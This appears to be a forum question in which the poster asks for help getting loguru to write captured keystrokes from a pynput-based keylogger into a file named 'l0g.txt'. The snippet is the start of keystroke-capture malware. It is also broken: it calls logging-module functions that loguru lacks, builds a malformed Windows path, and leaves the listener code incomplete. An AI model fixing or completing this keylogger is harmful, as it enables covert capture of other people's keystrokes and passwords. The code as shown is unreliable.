I am trying to add a logging feature to my keylogger using loguru but i cant seem to understand how to use loguru to update the keylogs onto the l0g.txt file that i want to create. any help would be much appriciated.
from pynput.keyboard import Listener
from loguru import logger
FORMAT = '%(asctime)s %(message)s'
logger.basicConfig(
filename=("C:\temp" + "l0g.txt"), level=logger.INFO)
def _start(self):
with Listener(on_press=self.on_press, on_release=self.on_release) as
self.listener:
self.listener.join()